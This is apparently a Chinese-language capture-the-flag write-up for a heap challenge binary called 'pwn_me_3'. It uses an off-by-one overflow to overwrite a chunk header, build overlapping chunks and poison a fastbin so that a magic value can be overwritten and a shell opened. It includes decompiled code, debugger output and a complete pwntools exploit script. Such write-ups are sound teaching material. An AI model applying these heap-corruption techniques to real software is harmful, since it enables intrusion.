利用单字节溢出来更改堆块头实现堆重叠

题目地址


目测是一个小型的管理系统

查看保护


64位没开pie

寻找漏洞

丢进ida找漏洞去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 sub_4009F7()
{
size_t nbytes; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( HIDWORD(nbytes) = 0; SHIDWORD(nbytes) <= 31; ++HIDWORD(nbytes) )
{
if ( !ptr[SHIDWORD(nbytes)] )
{
puts("size:");
__isoc99_scanf("%d", &nbytes);
ptr[SHIDWORD(nbytes)] = (char *)malloc((signed int)nbytes);
puts("content:");
read(0, ptr[SHIDWORD(nbytes)], (unsigned int)nbytes);
ptr[SHIDWORD(nbytes)][(signed int)nbytes] = 0;
return __readfsqword(0x28u) ^ v2;
}
}
puts("no space left");
return __readfsqword(0x28u) ^ v2;
}

添加堆块函数,我们发现这ptr[SHIDWORD(nbytes)][(signed int)nbytes] = 0; 有一个单字节的溢出,也就是将输入的后一个字节
设为0
free()函数,无漏洞
view()函数,无漏洞
edit()函数

1
2
3
4
5
if ( ptr[v1] )
{
puts("content:");
read(0, ptr[v1], 0x20uLL);
}

当你要申请的大小为0x18时,溢出两个字节
意味着可以覆盖下一个块的大小
主程序

1
2
3
4
5
6
7
8
9
10
11
12
v6 = malloc(0x10uLL);
*v6 = -559038737;
if ( *v6 != 1717986918 )
sub_4009A6();
puts("enjoy the fun of pwn");
puts("hope you will pwn 100 years,hhh");
sub_40098B();
int sub_40098B()
{
puts("tql");
return system("/bin/sh");
}

目标:把v6的块内容改成1717986918 执行shell

泄露堆块地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(num,size,content):
p.sendlineafter('5,exit\n','1')
p.sendlineafter('size:\n',str(size))
p.recvuntil('content:\n')
p.send(content)
def free(num):
p.sendlineafter('5,exit\n','2')
p.sendlineafter('idx:\n',str(num))
def view(num):
p.sendlineafter('5,exit\n','3')
p.sendlineafter('idx\n',str(num))
def edit(num,content):
p.sendlineafter('5,exit\n','4')
p.sendlineafter('idx:\n',str(num))
p.recvuntil('content:\n')
p.send(content)

使用以下的操作来泄露块地址

1
2
3
4
5
6
add(0,0x18,'a'*0x18)
add(1,0x18,'a'*0x18)
free(0)
free(1)
add(0,8,'\n')
add(1,0,'')

在free(1)后,空间结构为

如图所示,1块中放入了0块的地址,而一开始的块就是程序申请的块也就是我们要更改的块

1
2
3
add(0,8,'\n')
add(1,0,'')
view(0)

进行如下操作后,0块中存放着堆块的地址,但是最后一个字节被’\n’覆盖,不过没关系,我们要泄露的地址的后三个byte是等于0
heap_data=u64(p.recvuntil('\n1,add',True)[-4:].ljust(8,'\x00'))-0xa
得到heap地址

利用思路


构造如图所示的块结构,free()掉C块后,用A块溢出的两个字节来修改B块的size,使其等于B+C的长度
这样在free掉B块后,在malloc一个大小等于B+C的块,这样就实现了对C的写入

1
2
3
4
5
6
add(2,0x18,'a'*0x18)
free(2)
edit(1,'a' * 0x10 + p64(0x20) + p64(0x41))
free(0)
payload='a'*0x18+p64(0x21)+p64(heap_data)
add(0,0x38,payload)

此刻在fastbins中

1
2
3
4
5
6
7
8
9
pwndbg> bins 
fastbins
0x20: 0x2041060 —▸ 0x2041000 ◂— 0xdeadbeef
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

如图,我们成功把0x2041000放入链表

1
2
3
add(1,0x18,'ccc')
add(2,0x18,p64(1717986918))
p.sendlineafter('5,exit\n','5')#退出循环

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

p=process('./pwn_me_3')

#context(os='linux', arch='amd64', log_level='debug')
def add(num,size,content):
p.sendlineafter('5,exit\n','1')
p.sendlineafter('size:\n',str(size))
p.recvuntil('content:\n')
p.send(content)
def free(num):
p.sendlineafter('5,exit\n','2')
p.sendlineafter('idx:\n',str(num))
def view(num):
p.sendlineafter('5,exit\n','3')
p.sendlineafter('idx\n',str(num))
def edit(num,content):
p.sendlineafter('5,exit\n','4')
p.sendlineafter('idx:\n',str(num))
p.recvuntil('content:\n')
p.send(content)

add(0,0x18,'a'*0x18)
add(1,0x18,'a'*0x18)
free(0)
free(1)
add(0,8,'\n')
add(1,0,'')
view(0)
heap_data=u64(p.recvuntil('\n1,add',True)[-4:].ljust(8,'\x00'))-0xa
print 'heap_data=>',hex(heap_data)
add(2,0x18,'a'*0x18)
free(2)
edit(1,'a' * 0x10 + p64(0x20) + p64(0x41))
free(0)
payload='a'*0x18+p64(0x21)+p64(heap_data)
add(0,0x38,payload)#
gdb.attach(p)
add(1,0x18,'ccc')
add(2,0x18,p64(1717986918))
p.sendlineafter('5,exit\n','5')
p.interactive()